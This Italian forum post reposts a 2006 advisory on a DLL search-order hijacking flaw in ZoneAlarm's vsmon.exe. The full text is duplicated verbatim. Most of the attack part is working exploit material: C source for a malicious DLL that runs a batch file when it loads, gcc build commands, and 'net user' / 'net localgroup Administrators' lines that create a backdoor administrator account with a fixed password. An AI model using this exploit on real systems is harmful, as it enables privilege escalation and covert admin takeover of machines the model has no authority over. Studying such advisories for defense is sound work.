[Gnomix]
10-03-2006, 12:52
Leggete qua :)
Se sul PC è installato il firewall Zone Alarm, alla partenza di Windows il servizio vsmon.exe (eseguito nell´ambito degli account (G) locali) carica 18 librerie di collegamento dinamico (dll), riportate di seguito.
VSUTIL_Loc0409_Oem8701.dll
VSUTIL_Oem8701.dll
VSUTIL_Loc0409.dll
vsmon_Loc0409_Oem8701.dll
vsmon_Oem8701.dll
vsmon_Loc0409.dll
VSRULEDB_Loc0409_Oem8701.dll
VSRULEDB_Oem8701.dll
VSRULEDB_Loc0409.dll
av_Loc0409_Oem8701.dll
av_Oem8701.dll
av_Loc0409.dll
zlquarantine_Loc0409_Oem8701.dll
zlquarantine_Oem8701.dll
zlquarantine_Loc0409.dll
zlsre_Loc0409_Oem8701.dll
zlsre_Oem8701.dll
zlsre_Loc0409.dll
Il problema consiste nel fatto che vsmon.exe non specifica il percorso dei files. Il sistema, pertanto, esegue una scansione di tutte le directory nel path (in ordine) alla ricerca di tali dll. Ciò rende l´intero sistema vulnerabile.
Se un utente con credenziali limitate, infatti, ha accesso in scrittura a una qualunque delle directory del path che precedono in priorità la directory ove si trovano i files legittimi, vi può aggiungere una dll avente lo stesso nome di una qualunque presente nella lista, ma che esegue un´azione dannosa. Questa eventualità, tra l´altro, non è affatto remota: si pensi solo che Windows 2000 concede in default l´accesso illimitato a qualunque utente alla root directory, che ovviamente è presente nel path e precede quasi tutte le altre directory.
Come esempio di ciò che può succedere riportiamo i codici seguenti. Per verificare il bug (G) si compili il seguente codice (ATTENZIONE: nel codice si sostituisca ai simboli « e » rispettivamente un solo segno di minore e un solo segno di maggiore, e si sostituiscano i 2 caratteri || con un solo backslash)
// Per compilare usare i seguenti comandi
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o
#include «windows.h»
VOID RunMagicBatFile( VOID );
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
BOOLEAN bSuccess = TRUE;
switch ( fdwReason )
{
case DLL_PROCESS_ATTACH:
RunMagicBatFile();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
VOID RunMagicBatFile()
{
TCHAR szWinDir[ _MAX_PATH ];
TCHAR szCmdLine[ _MAX_PATH ];
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );
wsprintf( szCmdLine, "%s||system32||cmd.exe /c magic.bat", szWinDir );
ZeroMemory( &si, sizeof( si ) );
si.cb = sizeof( si );
ZeroMemory( &pi, sizeof( pi ) );
CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
Una volta compilato copiate il file magic.dll nella directory prescelta cambiandone il nome in un nome qualunque della lista riportata sopra. Nella stessa directory create un file chiamato magic.bat contenente il seguente codice:
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
Riavviate il computer e scoprirete che esiste un nuovo account di amministratore chiamato Magic la cui password è M@g1c$$ con accesso illimitato all´intero computer.
Le versioni su cui è presente il bug sono la 6.1.744.000 e precedenti; se proprio vi scocciate di compilare il codice, o non avete le librerie, o quant´altro, potete scaricarvi i files già belli e pronti dal sito personale di Reed Arvin, che ha scoperto questa vulnerabilità.
W i firewall :) ora mi domando... quanti firewall sono privi di backdoor :) ?
Se sul PC è installato il firewall Zone Alarm, alla partenza di Windows il servizio vsmon.exe (eseguito nell´ambito degli account (G) locali) carica 18 librerie di collegamento dinamico (dll), riportate di seguito.
VSUTIL_Loc0409_Oem8701.dll
VSUTIL_Oem8701.dll
VSUTIL_Loc0409.dll
vsmon_Loc0409_Oem8701.dll
vsmon_Oem8701.dll
vsmon_Loc0409.dll
VSRULEDB_Loc0409_Oem8701.dll
VSRULEDB_Oem8701.dll
VSRULEDB_Loc0409.dll
av_Loc0409_Oem8701.dll
av_Oem8701.dll
av_Loc0409.dll
zlquarantine_Loc0409_Oem8701.dll
zlquarantine_Oem8701.dll
zlquarantine_Loc0409.dll
zlsre_Loc0409_Oem8701.dll
zlsre_Oem8701.dll
zlsre_Loc0409.dll
Il problema consiste nel fatto che vsmon.exe non specifica il percorso dei files. Il sistema, pertanto, esegue una scansione di tutte le directory nel path (in ordine) alla ricerca di tali dll. Ciò rende l´intero sistema vulnerabile.
Se un utente con credenziali limitate, infatti, ha accesso in scrittura a una qualunque delle directory del path che precedono in priorità la directory ove si trovano i files legittimi, vi può aggiungere una dll avente lo stesso nome di una qualunque presente nella lista, ma che esegue un´azione dannosa. Questa eventualità, tra l´altro, non è affatto remota: si pensi solo che Windows 2000 concede in default l´accesso illimitato a qualunque utente alla root directory, che ovviamente è presente nel path e precede quasi tutte le altre directory.
Come esempio di ciò che può succedere riportiamo i codici seguenti. Per verificare il bug (G) si compili il seguente codice (ATTENZIONE: nel codice si sostituisca ai simboli « e » rispettivamente un solo segno di minore e un solo segno di maggiore, e si sostituiscano i 2 caratteri || con un solo backslash)
// Per compilare usare i seguenti comandi
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o
#include «windows.h»
VOID RunMagicBatFile( VOID );
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
BOOLEAN bSuccess = TRUE;
switch ( fdwReason )
{
case DLL_PROCESS_ATTACH:
RunMagicBatFile();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
VOID RunMagicBatFile()
{
TCHAR szWinDir[ _MAX_PATH ];
TCHAR szCmdLine[ _MAX_PATH ];
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );
wsprintf( szCmdLine, "%s||system32||cmd.exe /c magic.bat", szWinDir );
ZeroMemory( &si, sizeof( si ) );
si.cb = sizeof( si );
ZeroMemory( &pi, sizeof( pi ) );
CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
Una volta compilato copiate il file magic.dll nella directory prescelta cambiandone il nome in un nome qualunque della lista riportata sopra. Nella stessa directory create un file chiamato magic.bat contenente il seguente codice:
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
Riavviate il computer e scoprirete che esiste un nuovo account di amministratore chiamato Magic la cui password è M@g1c$$ con accesso illimitato all´intero computer.
Le versioni su cui è presente il bug sono la 6.1.744.000 e precedenti; se proprio vi scocciate di compilare il codice, o non avete le librerie, o quant´altro, potete scaricarvi i files già belli e pronti dal sito personale di Reed Arvin, che ha scoperto questa vulnerabilità.
W i firewall :) ora mi domando... quanti firewall sono privi di backdoor :) ?